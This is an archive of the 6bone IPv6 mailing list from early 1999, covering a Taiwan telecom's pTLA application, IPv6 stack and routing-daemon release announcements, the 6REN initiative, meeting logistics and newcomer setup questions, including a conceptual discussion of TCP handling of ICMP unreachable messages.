> >backbone service to provide a robust and operationally reliable 6bone
> >backbone.
> >	We have set up our IPv6 testbed with a dedicated production IPv6 router 
> >with link provided by TANET, which is provided by our own company. And right 
> >now,
> > We have provided several IPv6 tunnels to other sites in Taiwan.
> >
> >3. must have a potential "user community" that would be served by
> >becoming a pTLA, e.g., the requester is a major player in a region,
> >country or focus of interest.
> >	We are the major telecommunication company in Taiwan with several
> > millions of customers. We are also one of the majer ISP in Taiwan. Our
> company
> >are always in the leading position in this field. We have now set a home 
> >page for apply
> >connection to us
> >	http://march.chttl.com.tw
> >	http://march.ipv6.chttl.com.tw  (IPv6 protocols only)
> >
> >4. must commit to abide by whatever the 6bone backbone operational
> >rules and policies are (currently there are no formal ones, but the
> >alain duran draft is a start in trying to define some).
> >
> >we  will abide to the 6bone operational rules and policies.
> >				
> >							Regards
> >								Y. J. Chu
> >								Switching Technology Department
> >								ChungHwa Telecom. Co.
> 
> 


-- 
"When in doubt, Twirl..."  -anon

From 6bone-owner  Wed Jan 20 09:35:01 1999
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To: Steve Deering <deering@cisco.com>
cc: =?iso-8859-1?Q?=22Asbj=F8rn_Sannes=22?= <ace@datafax.no>, 6bone@ISI.EDU
Subject: Re: ICMP Unreachable 
In-reply-to: Your message of "Wed, 20 Jan 1999 08:30:00 PST."
             <v03110701b2cbb1196305@[171.69.116.90]> 
Date: Wed, 20 Jan 1999 12:34:35 -0500
From: Thomas Narten <narten@raleigh.ibm.com>
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> > It might not be a big problem for most people, but in the IPv4 used today
> > any person can disconnect almost any connection with little or no knowledge
> > using ICMP unreachable attacks.
> > 
> > I was woundering if this was fixed in IPv6, or if the "problem" will
> > persist.

> This problem is largely due to shortcomings in TCP implementations
> which are independent of IPv4 vs. IPv6.  However, since IPv6 requires
> implementors to make at least some minor changes to TCP code (to
> deal with bigger addresses and changed pseudo-header), it would be
> nice if implementors used the occasion to also fix their TCPs' behavior
> in response to ICMP error message (in particular, changing them to
> treat most ICMP errors as transient rather than fatal).

Indeed, this has been a known problem for quite some time. RFC 1122
specifically says:

>             o    Destination Unreachable -- codes 0, 1, 5
> 
>                  Since these Unreachable messages indicate soft error
>                  conditions, TCP MUST NOT abort the connection, and it
>                  SHOULD make the information available to the
>                  application.

Which recent stacks still don't follow this recommendation? I thought
this problem had been largely fixed.

Thomas

From 6bone-owner  Wed Jan 20 09:41:15 1999
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Subject: Re: BOUNCE (bob has a new address!)
To: 6bone@ISI.EDU
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Er, more detail,  the 6bone list is pretty restrictive on posting rights.
Bob Fink posted a note from <fink@es.net>  and not from his old address
as  <rlfink@lbl.gov>.  

Bob, want to subscribe?  :)


-- 
"When in doubt, Twirl..."  -anon

From 6bone-owner  Wed Jan 20 10:11:29 1999
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From: "Jean Critcher" <Critcher_J@ipng.net>
To: <6bone@ISI.EDU>
Subject: Singapore Linux Conference and IPv6
Date: Wed, 20 Jan 1999 13:09:38 -0500
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The Business Internet, Inc. is pleased to announce that the president of the
company, John Page, has been asked to present an IPv6 tutorial using Linux
at the Linux Conference which takes place in Singapore from
March 5-7, 1999.  See http://slc.linux.com.sg/ for details on the
conference.

Please let us know if any of the 6bone mailing list recipients will be
attending so that we can meet and share insights on our IPv6 discoveries in
the Linux environment.

Regards to All,
Jean Critcher

__
Jean Critcher, Vice President of Operations
The Business Internet, Inc
Tel: +1 540 882 3849
Fax: +1 540 882 3849
Beepwear Pager: 888-783-5894 / 7835894@skytel.com
TBI: http://www.ipng.net
MCOM: http://www.multimediacomm.com (Big Planet Independent Representative)



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<HTML>
<HEAD>

<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><SPAN class=3D120510218-20011999><FONT color=3D#000000 face=3DArial =
size=3D2>The=20
Business Internet, Inc. is pleased to announce that the president of the =

company, John Page, has been asked to present an IPv6 tutorial using =
Linux at=20
the Linux Conference which takes place in Singapore from =
</FONT></SPAN></DIV>
<DIV><SPAN class=3D120510218-20011999><FONT color=3D#000000 face=3DArial =
size=3D2>March=20
5-7, 1999.&nbsp; See <A=20
href=3D"http://slc.linux.com.sg/">http://slc.linux.com.sg/</A> for =
details on the=20
conference.</FONT></SPAN></DIV>
<DIV><SPAN class=3D120510218-20011999><FONT color=3D#000000 face=3DArial =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D120510218-20011999><FONT color=3D#000000 face=3DArial =
size=3D2>Please=20
let us know if any of the 6bone mailing list recipients will be =
attending so=20
that we can meet and share insights on our IPv6 discoveries in the Linux =

environment.</FONT></SPAN></DIV>
<DIV><SPAN class=3D120510218-20011999><FONT color=3D#000000 face=3DArial =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D120510218-20011999><FONT color=3D#000000 face=3DArial =

size=3D2>Regards to All,</FONT></SPAN></DIV>
<DIV><SPAN class=3D120510218-20011999><FONT color=3D#000000 face=3DArial =

size=3D2></FONT></SPAN><SPAN class=3D120510218-20011999><FONT =
color=3D#000000=20
face=3DArial size=3D2>Jean Critcher</FONT></SPAN></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>__</FONT></DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>Jean Critcher, Vice =
President of=20
Operations</FONT></DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>The Business Internet,=20
Inc</FONT></DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>Tel: +1 540 882 3849 =
</FONT></DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>Fax: +1 540 882 =
3849</FONT></DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2></FONT><FONT =
face=3DArial=20
size=3D2>Beepwear Pager: 888-783-5894 / <A=20
href=3D"mailto:7835894@skytel.com">7835894@skytel.com</A></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>TBI: <A=20
href=3D"http://www.ipng.net/">http://www.ipng.net</A></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>MCOM: <A=20
href=3D"http://www.multimediacomm.com/">http://www.multimediacomm.com</A>=
 (Big=20
Planet Independent Representative)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

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From 6bone-owner  Wed Jan 20 13:29:34 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>, "'roque@cisco.com'" <roque@cisco.com>
Subject: connectivity problems with 3ffe:c00::/24?
Date: Wed, 20 Jan 1999 13:28:57 -0800
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For the last few days, I've been unable to contact some sites that are
usually quite reliable for me. In all cases, a traceroute gets as far as
3ffe:c00:e:3::1 and then no response after that. 3ffe:c00::/24 is CISCO's
pTLA. Any clues?

Thanks,
Rich

From 6bone-owner  Thu Jan 21 05:43:15 1999
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Date: Thu, 21 Jan 1999 14:41:50 +0100
To: ipng@sunroof.Eng.Sun.COM, ngtrans@sunroof.Eng.Sun.COM, 6bone@ISI.EDU
From: Alain Durand <Alain.Durand@imag.fr>
Subject: Interim Meeting registration fees.
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Hi.

We came out with a solution to get you some lunch during the meeting.
We will have a catering service with a buffet and we will have to charge
some fees for that.
The registration fees, covering the 3 lunches and 3 afternoom breaks,
will be 100F per day.

So, the total will be 300F (about $50) for the meeting and
450F (300+150) if you attend the social.

We will open a registration desk on tuesday, Feb. 2nd, morning at 8:00 AM.

----------------------------------------------------------------------------
---------
---- Please come with ***exact*** change in cash in french francs ----
----------------------------------------------------------------------------
---------

We can take french checks from a french bank,
but we can not take credit cards.

	- Alain.


From 6bone-owner  Thu Jan 21 07:03:15 1999
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From: "Leonardo R. Cabral" <mcabral@unl.edu.ar>
To: "Jean Critcher" <Critcher_J@ipng.net>, <6bone@ISI.EDU>
Subject: RE: Abbreviations for a Newbie.
Date: Thu, 21 Jan 1999 12:05:20 -0600
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Hi Jean:
Thanks for the links they'll be very useful to me. I also be very =
grateful if you forward me the tutorial once you have it's outline =
together.

Leonardo R. Cabral
Las Heras 4551
(3000) - Santa Fe
Argentina

mcabral@unl.edu.ar
TEL/FAX: 54-42-554389 (up to January 24)
TEL/FAX: 54-342-4554389 (from January 24)
Universidad Tecnol=F3gica Nacional - Facultad Regional Santa Fe


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<DIV><FONT color=3D#000000 size=3D2>Hi Jean:<BR>Thanks for the links =
they'll be very=20
useful to me. I also be very grateful if you forward me the tutorial =
once you=20
have it's outline together.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Leonardo R. Cabral</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Las Heras =
4551</FONT></DIV>
<DIV><FONT size=3D2>(3000) - Santa Fe</FONT></DIV>
<DIV><FONT size=3D2>Argentina</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>
<DIV><FONT color=3D#000000 size=3D2><A=20
href=3D"mailto:mcabral@unl.edu.ar">mcabral@unl.edu.ar</A></FONT></DIV></D=
IV>
<DIV><FONT color=3D#000000 size=3D2>TEL/FAX: 54-42-554389 (up to January =

24)</FONT></DIV>
<DIV><FONT size=3D2>TEL/FAX: 54-342-4554389 (from January =
24)</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>Universidad Tecnol&oacute;gica =
Nacional -=20
Facultad Regional Santa Fe</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

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From 6bone-owner  Thu Jan 21 15:07:36 1999
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Date: Thu, 21 Jan 1999 14:55:33 -0800
From: Seth David Schoen <schoen@uclink4.Berkeley.EDU>
To: 6bone@ISI.EDU
Subject: Re: Singapore Linux Conference and IPv6
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Jean Critcher writes:

> The Business Internet, Inc. is pleased to announce that the president of the
> company, John Page, has been asked to present an IPv6 tutorial using Linux
> at the Linux Conference which takes place in Singapore from
> March 5-7, 1999.  See http://slc.linux.com.sg/ for details on the
> conference.
> 
> Please let us know if any of the 6bone mailing list recipients will be
> attending so that we can meet and share insights on our IPv6 discoveries in
> the Linux environment.

I'm doing a very similar thing at LinuxWorld Expo, in San Jose, CA from
March 1-4, 1999, under the name of "Linux and the Future of the Internet".

I would appreciate any comments from list subscribers about what they
think is worth communicating or reporting about Linux and IPv6 to a general
audience of Linux enthusiasts and business users.

-- 
              Seth David Schoen / schoen@uclink4.berkeley.edu
He said, "This is what the king who will reign over you will do."  And they
said, "Nay, but we will have a king over us, that we also may be like all the
nations." (1 Sam 8)  http://ishmael.geecs.org/~sigma/   http://www.loyalty.org/

From 6bone-owner  Tue Jan 26 15:35:42 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'IPng List'" <ipng@sunroof.eng.sun.com>
Cc: "'6bone'" <6bone@ISI.EDU>,
        "'MSR IPv6 Discussion'"
	 <msripv6-users@list.research.microsoft.com>
Subject: MSR IPv6 Release 1.2
Date: Tue, 26 Jan 1999 15:34:58 -0800
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Microsoft Research and ISI East are pleased to announce Release 1.2 of our
MSR IPv6 stack for Windows NT. See http://www.research.microsoft.com/msripv6
for more details and download information.

Some highlights:

- Source and binaries are freely available.

- Full support for the core (draft standard) IPv6 specs.

- Routing (with static routing tables) and sending Router Advertisements.
You can use an MSR IPv6 machine to connect a local network to the 6bone.

- Web support, with a port of Internet Explorer and a free web server called
Fnord!. Check out http://ipv6.research.microsoft.com, a v6-only web site on
the 6bone.

- Ports of SDR and RAT (multicast multimedia applications), thanks to the
help of UCL.

- A v6/v4 address/protocol translator, in cooperation with UW.

- Correspondence with mobile IPv6 nodes.

To support developers, we're going to start daily source drops. Send email
to msripv6-bugs@list.research.microsoft.com to request more information
about the daily source drops. See
http://list.research.microsoft.com/archives/msripv6-users.html to join our
discussion list or search the archives.

Thanks,
Rich

From 6bone-owner  Tue Jan 26 16:11:59 1999
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Date: Tue, 26 Jan 1999 13:36:40 -0800
To: 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: pTLA request by CHTTL-TW - comments by 8 Feb 99 please (2nd
  announcment)
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[I'm sending this out again as I believe it may not have been seen by some
when I switched my email address.]

6Bone Folk,

CHTTL-TW, the ChungHwa Telecom. Co or Taiwan, is applying for a pTLA.
Please send any comments on this to either me or the list by 8 February 1999.


Thanks,

Bob

====
>Date: Wed, 20 Jan 1999 14:10:55 +0800
>From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
>To: rlfink@lbl.gov
>Subject: Apply for pTLA
>
>Dear Bob:
>	I am responsible for IPv6 testbed for ChungHwa Telecom. Co. and wish
>to become a backbone site on 6Bone.
>
>1. must have experience with ipv6 in the 6bone, at least as a leaf
>site, and preferably as an NLA transit under a pTLA.
>	
>	We have become a leaf site  as CHTTL-TW and later become
>a transit site running BGP4+ with TELEBIT as TLSW-TW. Right now, We are 
>providing
>serveral private "test" tunnels to various organizations in Taiwan (which 
>most of
>them are research centers such as universities).
>	Our registry in 6Bone can be accessed by:
>	http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/TLSW-TW.html
>
>2. must have the ability and intent to provide "production-like" 6bone
>backbone service to provide a robust and operationally reliable 6bone
>backbone.
>	We have set up our IPv6 testbed with a dedicated production IPv6 router 
>with link provided by TANET, which is provided by our own company. And right 
>now,
> We have provided several IPv6 tunnels to other sites in Taiwan.
>
>3. must have a potential "user community" that would be served by
>becoming a pTLA, e.g., the requester is a major player in a region,
>country or focus of interest.
>	We are the major telecommunication company in Taiwan with several
> millions of customers. We are also one of the majer ISP in Taiwan. Our
company
>are always in the leading position in this field. We have now set a home 
>page for apply
>connection to us
>	http://march.chttl.com.tw
>	http://march.ipv6.chttl.com.tw  (IPv6 protocols only)
>
>4. must commit to abide by whatever the 6bone backbone operational
>rules and policies are (currently there are no formal ones, but the
>alain duran draft is a start in trying to define some).
>
>we  will abide to the 6bone operational rules and policies.
>				
>							Regards
>								Y. J. Chu
>								Switching Technology Department
>								ChungHwa Telecom. Co.

From 6bone-owner  Thu Jan 28 00:02:52 1999
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Date: Thu, 28 Jan 1999 08:15:28 +0100
To: Jim Bound <bound@wasted.zk3.dec.com>, ipng@sunroof.eng.sun.com,
        6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
From: Latif LADID <Latif.LADID@village.uunet.lu>
Subject: Re: V6 Deployment 3rd Day Final Agenda
Cc: v6-deployment-cabal@alpha.zk3.dec.com
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Dear Jim,

I would like to address the issue of promotion 'influencing Developers, vendors,..', presenting a promotion discussion paper for endorsement by the working group.


Latif LADID
Vice President of Telebit Communications
Chairman, Global-ISDN

At 14:15 26/01/99 -0500, Jim Bound wrote:
>
>===
>Thursday, February 4 -- IPv6 Deployment and Promotion 
>-----------------------------------------------------
>The purpose of this day will be to review current deployment 
>activities, potential additional efforts, and opportunities for 
>educating and influencing developers, ISPs, network managers, and 
>users. This will include answering the following questions:
>- Why would anyone run IPv6 now? 
>- Why would anyone ever run IPv6? 
>- Who will deploy IPv6 first? 
>- Will the Internet lead Corporate networks or follow as IPv6 is 
>deployed? 
>- How to get ISPs to deploy IPv6?
>
>We would like to request that each attendee come with answers to the
>above questions for discussion on this 3rd day.   
>
>This is the Final Agenda before Grenbole.  We will do Agenda Bashing at
>Grenoble and select order and times.
>
>Agenda:
>(1) Discussion of the questions above.   
>(2) Existing deployment efforts:
>- 6BONE (who?) 
>- 6REN (who?)
>(3) Potential efforts:
>- IPv6 Exchanges (who?) 
>- Corporate Plans (who?) 
>- ISP Plans (who?) 
>- ...
>(4) Promotion
>- IPv6.org (who?) 
>- Influencing developers, vendors, etc. (who?)
>(5) Presentations:
>- Bob Fink - 6REN and 6TAP
>- Jim Bound - The Palo Alto Gateway and IPv6 and sub-TLA Request Strategy
>- Marc Blanchet - IPv6 Deployment Issues
>- Henk Steenman - Amsterdam Internet Exchange (AMS-IX) native IPv6 environment
>- Jim Bound for Perry Metzger - Status of the V6 Deployment List Activities
>- Jun Murai - IPv6 Deployment in Japan
>- Paula Caslav - Proposed Guidelines RIPE NCC Regional Registries for IPv6
>(6) Public Domain Code Needs for IPv6 Discussion
>- Appache Web Server 
>- Sendmail 
>- BIND 
>- BSD Network Utilities
>
>thanks
>/jim
>
>


From 6bone-owner  Thu Jan 28 22:33:46 1999
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Date: Fri, 29 Jan 1999 07:33:21 +0100 (CET)
From: Oystein Homelien <oystein@homelien.no>
To: Jack Wilkinson <jackw@jounce.net>
cc: 6bone@ISI.EDU
Subject: Re: irc, etc
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On Thu, 14 Jan 1999, Jack Wilkinson wrote:

>   is there an IRC server/channel where I could get interactive help or
>   something?  would make life much easier than games of e-mail tag...

EFnet, #ipv6.  Not very active, but I've handed out some tunnels etc
there to people who have dropped by.

Oystein Homelien                  |  oystein@powertech.no
PowerTech Information Systems AS  |  http://www.powertech.no/
Nedre Slottsgate 5, N-0157 OSLO   |  tel: +47-23-010-010, fax: +47-2220-0333


From 6bone-owner  Thu Jan 28 23:12:03 1999
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From: "Bernard Cheah" <bernard@mynet.com.my>
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Hi everybody, just wondering is there any malaysian in this list !
so I can have better chance to learn about this IPv6 project ?

Thank you.


Bernard Cheah
PJ, Malaysia

From 6bone-owner  Fri Jan 29 07:15:43 1999
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To: "Bernard Cheah" <bernard@mynet.com.my>, <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: 
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At 03:12 PM 1/29/99 +0800, Bernard Cheah wrote:
>Hi everybody, just wondering is there any malaysian in this list !
>so I can have better chance to learn about this IPv6 project ?

Look on the country list and follow thru the registry.

	<http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/bycountry.html>

Bob

From 6bone-owner  Fri Jan 29 07:18:44 1999
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Date: Fri, 29 Jan 1999 07:18:21 -0800
To: "Yasmine Arafa" <Y.Arafa@ic.ac.uk>, <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: Setting up the H/W for IPv6 implementation and test
  environments
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Yasmine,

At 01:14 PM 1/29/99 +0000, Yasmine Arafa wrote:
>Hi there,
>
>In our section we are looking at setting up the required H/W for IPv6
>implementation and test environments. I attach a diagram of the specific
>routers chosen. My question is are these appropriate for setting up such a
>test bed?
>Are there suggestions for better choices based on individual site
>experiences?
>Do I need anything else?
>
>Any suggestions to which vendor?
>I am looking at the 3com NetBuilder II for the router and SuperStack II
>1100? Has anyone used these?

Someone on the list will need to respond to you on this as I have no
knowledge of what works with 3COM equipment for IPv6.

I noticed a Cisco GSR 12000 on your ppt slide. Note that it does not, at
this time, support IPv6.


Bob

From 6bone-owner  Fri Jan 29 17:00:11 1999
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Date: Fri, 29 Jan 1999 16:34:06 -0800
To: 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: 6REN Overview Information
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To all parties interested in IPv6:

I've been talking about the formation of the 6REN for several months now,
and have established a domain and web site at <http://www.6ren.net>. Many
of you have been asking me for more information so this is a kickoff message.

Please address any messages to me at <fink@es.net>.


Thanks,

Bob Fink
ESnet

=========================================
6REN - IPv6 Research & Education Networks


Overview and Introduction

In October of 1998, the Energy Sciences Network (ESnet) established a
"6REN" initiative for promoting the introduction of IPv6 services into the
production Internet. As ESnet is a US national-level "Research & Education
Network", the focus was set on encouraging and helping Research & Education
Networks worldwide to start providing IPv6 services.

Thus the 6ren is a voluntary coordination initiative of Research and
Education Networks that provide production IPv6 transit service to
facilitiate high quality, high performance, and operationally robust IPv6
networks.

Participation is free and open to all Research and Education Networks that
provide IPv6 service. Other for-profit and not-for-profit IPv6 networks are
also encouraged to participate.


Primary Goals

The primary goals of the 6REN are:

1. provide production quality IPv6 packet delivery services

2. developing operational procedures for IPv6 networks

3. promoting the deployment of IPv6 networks

4. enabling early IPv6-ready application testing and deployment


Who May Participate

Any network providing, or planning to provide, IPv6 production services can
participate. This includes service providers (i.e., those carrying IPv6 for
other networks) as well as end user (leaf) sites (i.e., those carrying IPv6
for their own site's use). The only condition is that the network/site is
using production IPv6 addresses (as soon as they are available) and
provides production quality IPv6 service.

There are no fees or costs to participation other than the time, equipment
and good will that the participant contributes for the provision of the
production IPv6 service.


How to Participate

The 6REN has a mail list at <6ren@es.net> that requires you to join the
list to submit mail to it. Just send "subscribe" in the body of the message
to 6ren-request@es.net.


First Step for the 6REN

Starting in October, 1998, production native IPv6 over ATM interconnections
were established between ESnet, Internet2/vBNS, Canarie, Cairn and WIDE.
Though these connections were done using testing (6bone) IPv6 addresses,
the participants will convert to their production IPv6 addresses as soon as
they are issued by the address registries, hopefully by the end of the 1st
quarter of 1999 (currently promised by ARIN, APNIC and RIPE-NCC).

Also, ESnet will provide transit for all 6bone connected networks to all
6REN networks to guarantee early continuity for early application and
operational testing.


A Next Step for the 6REN - the 6TAP

In order to facilitate the easy interconnection of 6REN participants in the
US, Canarie and ESnet are jointly sponsoring an IPv6 Exchange "6TAP"
project to provide routing and route serving services at the StarTAP in
Chicago. The 6TAP will provide an IPv6 capable router and route server
colocated at StarTAP to experiment with early route administration and
peering services to assist in the development of IPv6 operational procedures. 


What's Next

Getting the word about the 6REN to the 6bone networks able to run
production IPv6 networks is a first order of business. In addition, ESnet
is helping carry the message to those networks not yet IPv6 experienced to
help them understand the value of 6REN participation.

Another important effort is to promote production Internet traffic to be
moved over 6REN networks in native IPv6 wherever and whenever possible.

Anyone with questions are encouraged to contact Bob Fink of ESnet
(fink@es.net).

-end 

From 6bone-owner  Sun Jan 31 08:35:50 1999
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Message-ID: <34D35250.44070092@ebim.net>
Date: Sat, 31 Jan 1998 18:33:20 +0200
From: Ziya Suzen <ziyas@ebim.net>
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Hi,

I work for an ISP in Northern Cyprus and i would like to join the 6bone
eventualy. I have read the "how to join 6bone" page on the site and i
foun out i need atleast two machines one router and one host. I was
wondering if two Linux boxes could do. One as a host and one as a
router.

Thank you for your attention.

Regards

Ziya Suzen
ziyas@ebim.net
System Admin
EbimNet Network Systems

From 6bone-owner  Sun Jan 31 11:49:27 1999
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To: Ziya Suzen <ziyas@ebim.net>
Cc: 6bone <6bone@ISI.EDU>
Subject: Re: trying to join 6bone
References: <34D35250.44070092@ebim.net>
From: Magnus Ahltorp <map@stacken.kth.se>
Date: 31 Jan 1999 20:48:39 +0100
In-Reply-To: Ziya Suzen's message of "Sat, 31 Jan 1998 18:33:20 +0200"
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> I work for an ISP in Northern Cyprus and i would like to join the 6bone
> eventualy. I have read the "how to join 6bone" page on the site and i
> foun out i need atleast two machines one router and one host. I was
> wondering if two Linux boxes could do. One as a host and one as a
> router.

I use a Sparc 10 with Linux as a router, and it works fine.

/Magnus
map@stacken.kth.se

From 6bone-owner  Sun Jan 31 19:03:41 1999
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Date: Sun, 31 Jan 1999 21:59:45 -0500
To: Bob Fink <fink@es.net>
From: Steve Goldstein <sgoldste@nsf.gov>
Subject: pTLA request by CHTTL-TW - comments by 8 Feb 99 please
Cc: 6bone@ISI.EDU, kwu@nchc.gov.tw (Kuo-Wei Wu )
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Bob,

You wrote:

> 6Bone Folk,
>
> CHTTL-TW, the ChungHwa Telecom. Co or Taiwan, is applying for a pTLA.
> Please send any comments on this to either me or the list by 8 February 1999.

CHTTL is the Telecommunication Laboratory of ChungHwa Telecom 
(Taiwan). The Laboratory is one of the members of Taiwan's brand new 
National BroadBand Experimental Network Project (NBEN). NBEN was 
initiated by National Science Council, Taiwan's counterpart to NSF. 
Taiwan has connected its advanced academic network, TAnet2, to the 
STAR TAP at 15 Mbps.  They also connect in California (TAnet) at 30 
Mbps, the remainder of the T3 from Taiwan.  TAnet and ChungWha 
Telecom cooperate in NBEN.  NSF applauds their desire to participate 
in IPv6 development and diffusion.  NSF would be happy to have then 
make their 6Bone connection via STAR TAP, but we are neutral to the 
choice of STAR TAP or California.

If you need more information about CHTTL, please contact:

Kuo Wu
Deputy Director
National Center for High-Performance Computing
National Science Council
kwu@nchc.gov.tw (Kuo-Wei Wu )

Thanks,

Steve Goldstein
...................................................................... 
.......................
 Steven N. Goldstein, Ph.D.
 Program Director, International Networking Coordination
 Div. of Advanced Networking Infrastructure and Research
 National Science Foundation
 4201 Wilson Boulevard, Room 1175
 Arlington, VA  22230  USA
 Tel: +1-703-306-1949 (Extension 1119)
 FAX: +1-703-306-0621
 sgoldste@NSF.GOV
 http://www.cise.nsf.gov/anir/Stevehome.html
...................................................................... 
.......................



From 6bone-owner  Thu Feb  4 11:29:37 1999
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To: 6bone@ISI.EDU
Subject: Announcing NRL IPv6+IPsec alpha 7.1
X-Copyright: Copyright 1999, Craig Metz, All Rights Reserved.
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Date: Thu, 04 Feb 1999 14:28:27 -0500
From: Craig Metz <cmetz@inner.net>
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[My apologies if you see this multiple times; we support four BSDs and Linux
now, and all these camps are known for tending to stay separate, even though
many hard-core hackers pay attention to some subset of them]

  After a year of development, the latest release of the NRL IPv6+IPsec
software is now available to the public. As the name suggests, this software is
an implementation of IP Version 6 and IP Security (separately and together).

  This version supports:

    BSD/OS 4.0 on x86 (supplements our code previously merged into 4.0)
    OpenBSD 2.3 and 2.4 on x86 and sparc (a more integrated version of this
      release is now in OpenBSD's CVS tree; you need userland from this kit)
    NetBSD 1.3.2 and 1.3.3 on x86 and sparc
    FreeBSD 3.0 on x86
    Linux 2.1 on x86 (for PF_KEY only)

  This release adds a lot of ports, updates the code to conform to newer
versions of many specs (which effectively meant rewriting portions of the
code), and includes a lot of general cleanups and improvements.

  More information and code can be found through http://www.ipv6.nrl.navy.mil.

									-Craig

From 6bone-owner  Thu Feb  4 13:10:35 1999
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A new version of the MRTd IPv6 routing daemon/toolkit is now available.

MRTd-1.5.2A includes support for BGP4/BGP4+/RIP/RIPNG (and initial/limited 
OSPF support). This version runs and has been tested on most Unix/IPv6 systems.

The 1.5.2A release is stable and currently serves as the "production" routing 
daemon for a number of 6Bone PTLAs. The MRTd source and binaries are freely 
available and may be redistributed.

See http://www.mrtd.net for more information.

- Craig



-- 
Craig Labovitz				labovit@merit.edu
Merit Network, Inc.			http://www.merit.edu/~labovit
4251 Plymouth  Road, Suite C.		(734) 764-0252 (office)
Ann Arbor, MI 48105-2785		(734) 647-3185 (fax)



From 6bone-owner  Fri Feb  5 07:19:11 1999
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        Cesar Olvera Morales <cesar@cuk.redes.unam.mx>,
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Sorry, I'm having problems with mail. If you wanted to send me
	a e-mail please send to ferran.foz@technologist.com

Thank you!
---

Perdon, estoy teniendo problemas con el correo. Si trata de 
	enviarme un mensaje por favor, envielo a ferran.foz@technologist.com.

Gracias.

-- 
Ferran Foz i Pedemonte							ICQ# 22653887
mailto:ferran.foz@technologist.com
http://members.xoom.com/ferran_foz
Barcelona, Catalonia, Europe, The World, ...

From 6bone-owner  Fri Feb  5 08:51:05 1999
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Date: Fri, 5 Feb 1999 17:50:38 +0100 (MET)
From: "Tesi TLC (G. MazzinI)" <tesi_tlc@ing240.unife.it>
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Hello ! 
We are two students of Italian University
We use linux RedHat 5.2 kernel 2.1.126 with modutils 2.1.121.
We would to install ipv6 on our linux machine.
We are using the Bieriger's HOWTO !    
We compiled inet6-apps0.34 without problems (in apparence)
with glibc2.0.7 (we haven't shadow password )!
Than we used Bieringer's utility links6 for create links ! 

We get no errors (when we compile) but if we do:
inetd            (we have kill old inetd)
the demon does't start !

The file /var/log/messages write :
inetd [4453]:net_security_strtorequest (/usr/sbin/ftpd)

We configured file /etc/inetd.conf in this way :

ftp	stream	tcp	nowait	root	/usr/sbin/in.ftp	in.ftpd -l
finger	stream	tcp	nowait	nobody	/usr/sbin/fingerd	in.fingerd

Anyone knows this problem ?

Thanks

Luca & Giancarlo
  
 



From 6bone-owner  Sun Feb  7 18:55:40 1999
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Subject: Cisco IOS?
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Hello, everyone!

We are in process of connecting Ohio University to the 6bone.
We plan to use Cisco 2500 series router as an IPv6 connection point,
but don't have the IOS that supports IPv6. Could anyone help us with
this?

Thank you.
--vc

From 6bone-owner  Sun Feb  7 21:46:46 1999
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Subject: Re: Cisco IOS?
To: vchipitsyn@picard.cs.ohiou.edu (Vitaly Chipitsyn)
Date: Sun, 7 Feb 1999 21:46:42 -0800 (PST)
Cc: 6bone@ISI.EDU
In-Reply-To: <14014.20624.548090.340680@thrawn.cs.ohiou.edu> from "Vitaly Chipitsyn" at Feb 7, 99 09:55:32 pm
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> 
> Hello, everyone!
> 
> We are in process of connecting Ohio University to the 6bone.
> We plan to use Cisco 2500 series router as an IPv6 connection point,
> but don't have the IOS that supports IPv6. Could anyone help us with
> this?
> 
> Thank you.
> --vc

The general answer is to talk w/ your account reps.


--bill

From 6bone-owner  Mon Feb  8 07:07:51 1999
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From: Cung Nguyen <cnguyen@triton-network.com>
To: "'Magnus Ahltorp'" <map@stacken.kth.se>, Ziya Suzen <ziyas@ebim.net>
Cc: 6bone <6bone@ISI.EDU>
Subject: RE: trying to join 6bone
Date: Mon, 8 Feb 1999 10:04:28 -0500 
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What is the process to join 6Bone?  is there a site someplace I can look
this information up?  Thanks

=====================
Cung Nguyen
Triton Network Systems Inc.
407.903.2052 or cnguyen@triton-network.com





> -----Original Message-----
> From:	Magnus Ahltorp [SMTP:map@stacken.kth.se]
> Sent:	Sunday, January 31, 1999 2:49 PM
> To:	Ziya Suzen
> Cc:	6bone
> Subject:	Re: trying to join 6bone
> 
> > I work for an ISP in Northern Cyprus and i would like to join the
> 6bone
> > eventualy. I have read the "how to join 6bone" page on the site and
> i
> > foun out i need atleast two machines one router and one host. I was
> > wondering if two Linux boxes could do. One as a host and one as a
> > router.
> 
> I use a Sparc 10 with Linux as a router, and it works fine.
> 
> /Magnus
> map@stacken.kth.se

From 6bone-owner  Mon Feb  8 08:42:11 1999
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Date: Mon, 08 Feb 1999 08:42:02 -0800
To: Cung Nguyen <cnguyen@triton-network.com>
From: Bob Fink <fink@es.net>
